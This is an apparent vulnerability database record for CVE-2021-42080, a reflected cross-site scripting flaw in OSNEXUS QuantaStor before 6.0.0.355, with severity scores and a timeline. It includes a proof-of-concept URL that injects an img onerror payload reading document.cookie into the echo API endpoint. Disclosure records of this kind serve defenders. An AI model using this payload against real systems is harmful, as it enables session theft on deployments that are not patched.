CVE-2021-42080CWE-79

Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355

High · published July 10, 2023

CVSS v3.1
7.4
EPSS
1%
Percentile
52.4
In the wild
Unconfirmed
What it is

An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL

https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

The record
Technical detail
CVSS v3.1
7.4 · HIGH
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
CVSS v4.0
Not supplied
EPSS
0.00695 · 52.4th percentile
Weakness
CWE-79 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Published
2023-07-10T06:29Z
EPSS history
Timeline
  • 10 JUL 06:29Z
    Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
    cvelistv5